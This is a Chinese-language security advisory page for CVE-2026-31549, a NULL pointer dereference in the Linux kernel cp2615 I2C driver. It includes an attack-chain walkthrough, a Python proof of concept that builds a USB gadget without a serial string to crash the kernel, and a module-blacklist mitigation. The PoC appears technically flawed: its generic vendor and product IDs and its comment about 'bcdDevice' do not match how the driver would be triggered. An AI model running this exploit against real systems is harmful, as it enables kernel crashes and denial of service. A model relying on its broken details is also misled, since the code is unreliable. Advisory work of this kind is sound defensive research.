IPBUF安全漏洞报告
English
CVE-2026-31549 CVSS 5.5 中危

CVE-2026-31549: Linux内核cp2615驱动空指针解引用漏洞

披露日期: 2026-04-24
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31549
漏洞类型
空指针解引用, 拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelDoSNULL Pointer Dereferencei2cUSBcp2615CVE-2026-31549

漏洞概述

Linux内核中的cp2615 I2C驱动程序存在一个空指针解引用漏洞。该驱动程序在初始化过程中,直接使用USB设备的序列号字符串来命名I2C适配器,但代码中未对序列号字符串是否存在进行有效性验证。当系统连接到一个未提供序列号字符串的特制USB设备时,驱动程序会尝试访问空指针,导致内核崩溃或系统拒绝服务。

技术细节

该漏洞位于Linux内核源码的drivers/i2c/busses/i2c-cp2615.c文件中。在驱动程序的probe函数执行期间,代码调用USB核心层函数(如usb_string)获取设备序列号,并将其作为i2c_adapter的name。由于代码逻辑缺陷,未对获取到的字符串指针进行NULL判断。如果连接的USB设备(可能是恶意构造的)在描述符中未定义序列号,接口将返回NULL指针。随后的字符串操作(如strscpy或直接打印)将触发内核页错误,导致系统发生Kernel Oops或Panic。根据CVSS 3.1评分,该漏洞攻击向量为本地(AV:L),需要低权限(PR:L),主要影响系统可用性(A:H)。

攻击链分析

STEP 1
步骤1
攻击者准备一个特制的USB设备或通过软件模拟USB Gadget,该设备在描述符中不包含序列号字符串。
STEP 2
步骤2
攻击者将该设备插入运行受影响Linux内核版本的计算机,或加载虚拟USB设备。
STEP 3
步骤3
系统USB核心层检测到新设备并加载cp2615驱动程序进行初始化。
STEP 4
步骤4
驱动程序在probe过程中尝试读取设备序列号,由于设备未提供,返回NULL指针。
STEP 5
步骤5
驱动程序未检查NULL指针,直接使用该指针进行字符串操作,触发内核空指针解引用异常。
STEP 6
步骤6
系统发生内核崩溃,导致拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import os import shutil # This script demonstrates how to create a malicious USB gadget # without a serial number to trigger the CVE-2026-31549 vulnerability. # Requires Linux kernel with USB ConfigFS support. CONFIGFS_MOUNT = "/sys/kernel/config/usb_gadget" GADGET_NAME = "g1" # Mount configfs if not already mounted if not os.path.ismount(CONFIGFS_MOUNT): os.system("mount none -t configfs /sys/kernel/config/usb_gadget") gadget_path = os.path.join(CONFIGFS_MOUNT, GADGET_NAME) # Create the gadget directory if os.path.exists(gadget_path): shutil.rmtree(gadget_path) os.makedirs(gadget_path) # Set basic vendor/product info with open(os.path.join(gadget_path, "idVendor"), "w") as f: f.write("0x1209") # Generic vendor ID with open(os.path.join(gadget_path, "idProduct"), "w") as f: f.write("0x0001") # Generic product ID # Create a configuration (e.g., config 1) configs_path = os.path.join(gadget_path, "configs") config_name = "c.1" config_path = os.path.join(configs_path, config_name) os.makedirs(config_path) # Create a function (e.g., ECM for Ethernet) functions_path = os.path.join(gadget_path, "functions") func_name = "ecm.usb0" func_path = os.path.join(functions_path, func_name) os.makedirs(func_path) # Link function to config os.symlink(func_path, os.path.join(config_path, func_name)) # CRITICAL STEP FOR EXPLOIT: # Do NOT write to 'bcdDevice' or provide a serial string. # The cp2615 driver expects a serial string, but providing none # makes usb_string return NULL, triggering the NULL-deref. # Enable the gadget (assuming UDC driver is available, e.g., dummy_udc) udc_path = "/sys/class/udc/dummy_udc.0" if os.path.exists(udc_path): with open(os.path.join(gadget_path, "UDC"), "w") as f: f.write("dummy_udc.0") print("Malicious gadget enabled. Connect to target to trigger crash.") else: print("No UDC available (e.g., dummy_udc). Cannot enable gadget.")

影响范围

Linux Kernel (Commit 13ccf9b 之前)
Linux Kernel (Commit 4a22af8 之前)
Linux Kernel (Commit 69aece6 之前)
Linux Kernel (Commit a977829 之前)
Linux Kernel (Commit aa79f99 之前)

防御指南

临时缓解措施
如果无法立即升级内核,可以通过禁用cp2615驱动模块来缓解风险。可以使用modprobe工具将驱动加入黑名单(例如在/etc/modprobe.d/blacklist.conf中添加blacklist cp2615),或通过内核参数modprobe.blacklist=cp2615禁止加载。此外,严格管控物理端口访问,防止攻击者插入未知的USB设备。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表